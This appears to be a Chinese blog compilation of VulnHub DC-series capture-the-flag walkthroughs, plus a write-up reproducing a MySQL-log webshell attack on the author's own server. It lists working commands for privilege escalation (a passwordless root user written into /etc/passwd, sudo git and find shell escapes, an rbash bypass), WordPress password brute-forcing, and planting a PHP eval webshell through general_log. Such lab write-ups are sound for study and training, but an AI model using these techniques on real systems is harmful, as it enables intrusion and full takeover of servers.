再到var目录下找到mail文件夹,进入后查看jim的邮件,其中邮件内容部分透露出了charles用户的密码,最后使用

sudo -l命令来看看jim用户下有没有什么免密码就可以以root执行的程序,发现并没有。

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

使用su命令切换到charles用户,然后使用sudo -l命令查看,找到一个teehee程序

charles@dc-4:/home$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee

然后查看teehee程序的帮助

charles@dc-4:/home$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.

  -a, --append              append to the given FILEs, do not overwrite
  -i, --ignore-interrupts   ignore interrupt signals
  -p                        diagnose errors writing to non pipes
      --output-error[=MODE]   set behavior on write error.  See MODE below
      --help     display this help and exit
      --version  output version information and exit

MODE determines behavior with write errors on the outputs:
  'warn'         diagnose errors writing to any output
  'warn-nopipe'  diagnose errors writing to any output not a pipe
  'exit'         exit on error writing to any output
  'exit-nopipe'  exit on error writing to any output not a pipe
The default MODE for the -p option is 'warn-nopipe'.
The default operation when --output-error is not specified, is to
exit immediately on error writing to a pipe, and diagnose errors
writing to non pipe outputs.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
Full documentation at: <http://www.gnu.org/software/coreutils/tee>
or available locally via: info '(coreutils) tee invocation'

发现这个程序加入-a命令可以在一个文件后面写入内容,一开始是想用scp命令把它传输到本机中试试逆向分析看看有没有二进制漏洞的,但是发现scp的时候权限不够,也没有源码,那就换个思路,利用它可以免密码以root执行的特点在passwd文件后面加入一个root用户,使其密码为空。

charles@dc-4:/home$ sudo teehee -a /etc/passwd
hi::0:0:hi:/root:/bin/bash
hi::0:0:hi:/root:/bin/bash

然后使用新创建的用户hi登录

charles@dc-4:/home$ su hi
root@dc-4:/home# whoami
root

成功获得root权限,攻击成功,进入root的家目录下收获flag

vulnhub过关之旅 (DC-2)

1. 信息收集

1.1 存活主机探测

使用masscan快速探测目标ip

sudo masscan --ping 192.168.100.1/24 --rate=1000

成功获得目标ip为192.168.100.135

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-18 09:46:34 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.135                                 
Discovered open port 0/icmp on 192.168.100.2

1.2 目标端口扫描

nmap 192.168.100.135 -p 1-65535 -sV
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 17:52 CST
Nmap scan report for dc-2 (192.168.100.135)
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds

目标开启了80端口和7744端口,80端口对应的服务是http,7744是ssh服务。

2. 漏洞探测与利用

2.1 对80端口的http服务进行访问

首先在浏览器中输入http://192.168.100.135,然后会自动跳转到dc-2导致无法解析,所以在kali的etc/hosts文件中添加内容:192.168.100.135 dc-2

127.0.0.1	localhost
127.0.1.1	kali
192.168.100.135 dc-2
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

修改完hosts文件后,可以成功访问网站,并且找到flag1内容

flag1提示到,我们平常使用的字典可能不会有效,使用cewl来获得对应的字典,而且可以从网页中看到它使用了wordpress的cms,于是可以使用kali里面自带的WPScan来进行扫描。

2.2 对网站进行后台登录

首先用WPScan对网站进行扫描和用户枚举:

wpscan --url http://dc-2 --enumerate u
[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

成功获得三个后台用户:admin,jerry,tom,将其写入user.txt。

然后根据flag1的提示使用cewl来获得登录密码的字典。

cewl dc-2 >pwd.txt

成功将获得的密码字典写入pwd.txt

然后使用WPScan来暴力猜解登录

wpscan --url http://dc-2 -U user.txt -P pwd.txt
[!] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

成功获得这两个用户的登录密码,接下来尝试登录寻找信息。(wordpress的默认后台路径是http://ip/wp-admin)

首先登录Jerry的账号,成功获得flag2的提示

这里说是让我们找到另外一个入口点,刚才nmap扫描到的ssh服务还没有用到,这里应该是提示尝试ssh登录了。

2.3 使用ssh登录目标主机

先尝试用jerry的账号密码来进行登录

ssh -p 7744 jerry@dc-2

然后提示密码错误,看来jerry没有使用这个密码来当ssh的密码,那再来试试tom的密码

ssh -p 7744 tom@dc-2

成功登录获得shell

然后来对这个shell进行一番探索,首先使用ls查看当前目录,获得flag3的提示,使用cat命令失败,这里应该是对命令进行了限制,获得了一个rbash,再试一下less命令,成功获得flag3的内容。

意思是我们需要使用su来账户切换。

但是tom的rbash并没有su命令,这里首先绕过rbash限制。

ls /usr/bin                    #查看当前用户可以使用哪些命令
ls less scp vi

发现可以使用vi命令,那么这里利用vi来绕过rbash

vi 1 #打开一个vi编辑器
:set shell=/bin/sh
:shell

成功获得正常的shell,然后利用su切换到jerry,这里密码就用刚才找到的那个密码。进入jerry的主目录下获得flag4

这里看到要想获得最终flag,需要我们利用git提取。

2.4 利用git提权

首先利用sudo -l查看有哪些不需要密码就可以使用的root命令

Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

成功找到git命令,利用git的help很多让一页显示不完,然后输入!sh弹出root的shell

sudo git help config
!sh

然后进入root的主目录获得最终flag

vulnhub过关之旅(DC-1)

vulnhub靶机链接:https://www.vulnhub.com/entry/dc-1,292/

1.信息收集

nmap 192.168.100.1/24

可以发现靶机IP为192.168.100.133,接下来探测更多信息。

nmap 192.168.100.133 -A

从中可以看到该靶机开了22,80,111端口,并且还有相应的具体版本信息。

2.寻找漏洞

打开火狐浏览器,输入http://192.168.100.133,查看靶机对应的web服务。

这里面有个需要登录的界面,以及旁边插件收集到了一些重要信息,可以看到它是Drupal的CMS,操作系统是Debian,Web中间件是Apache2.2.22,后端语言为php5.4.45,Drupal7不是这个CMS的最新版本,应该会有很多漏洞,这里先直接使用MSF打了,具体的漏洞原理介绍打算放在漏洞专栏。

3.MSF渗透

获得shell以后首先确认一下是不是root,果然没这么简单,ls查看当前目录发现有一个flag1.txt文件,查看一下内容如下:Every good CMS needs a config file – and so do you. 这说明需要提示我们查看 一下config文件,接下来在当前目录下搜索一下cms的config设置文件,并查看内容。

cd sites/default
cat settings.php

拿到了flag2.txt,成功获得了网站配置的MySQL数据库的账号和密码,接下来登录数据库来查询管理员账号。

mysql -u dbuser -p R0ck3t

进去数据库后使用查询语句寻找里面的管理员账号密码

show databases;#显示有哪些数据库
use drupaldb;#切换成drupaldb数据库
show tables;#显示当前数据库的表
select * from users;#查询表users下的信息
select name,pass from users;#查询指定列的表users的信息

可以看到这里面存了管理员admin的账号以及密码,但是密码已经被摘要算法加密了,查drupal7的信息可以指定这个版本已经不是简单用md5加密了,应该是带了salt的加密,但是毕竟是个开源CMS,查到了它对应的加密脚本文件,这里我们直接用这个加密算法的脚本文件生成一段明文为“123456”的密文,然后进数据库修改admin的pass值为这个密文,这样就相当于把admin的密码改成了123456。

这里注意使用脚本的当前目录得是网站根目录,不然会报错,应该跟这个cms的设置有关。

这里成功修改admin的密码为123456,然后使用这个账号来登录网站查看相应信息

成功找到flag3,这里说是让我们利用perms和-exec提权。首先创建一个名字为1的空文件,然后使用find命令提权(find本身就是root权限)

touch 1 #创建一个名字为1的空文件
find 1 -exec "whoami" \;
find 1 -exec "/bin/sh" \;

成功获得root权限,接下来去root文件夹下收获最后的胜利果实。

知识点总结:

  1. 利用drupal7这个CMS的漏洞
  2. MSF简单使用
  3. MySQL相关命令
  4. 利用find提权

复现一下昨天自己服务器被攻击的思路

昨天疲惫的回到办公室,手机上推送过来一条消息“您的服务器被黑客攻击,存在文件webshell.php”,啊我寻思着没在这个服务器上做实验啊,于是赶快去查看这个文件,查看日志,在MySQL日志里面看到了奇怪的记录,如图。

奇怪的日志

看到这里明白了,这个服务器虽然没开上传文件的操作,但是我的MySQL是弱密码(已经改了这次长教训了),登进去我的SQL服务后,首先打开MySQL的日志记录选项,然后更改日志记录文件为网站根目录下的后缀为php的文件,于是输入一句带有木马代码的查询语句,webshell植入成功,蚁剑连接,直接拿下,还是管理员权限(哭~~~)。

现在复现一下攻击的具体过程:

1.利用弱密码登录MySQL,这里我直接登录phpmyadmin了。

phpmyadmin

2.进入SQL命令行输入以下语句

show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log
set global general_log_file = 'C:/phpstudy/PHPTutorial/WWW/1.php';   #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>'  #写入shell

3.这样就成功间接的把后门脚本写入了服务器,使用蚁剑连接,可以看到成功获取服务器权限。

蚁剑连接成功

就是这样,纪念一下人生第一次被黑客攻击,同时也学到了新知识,不亏不亏。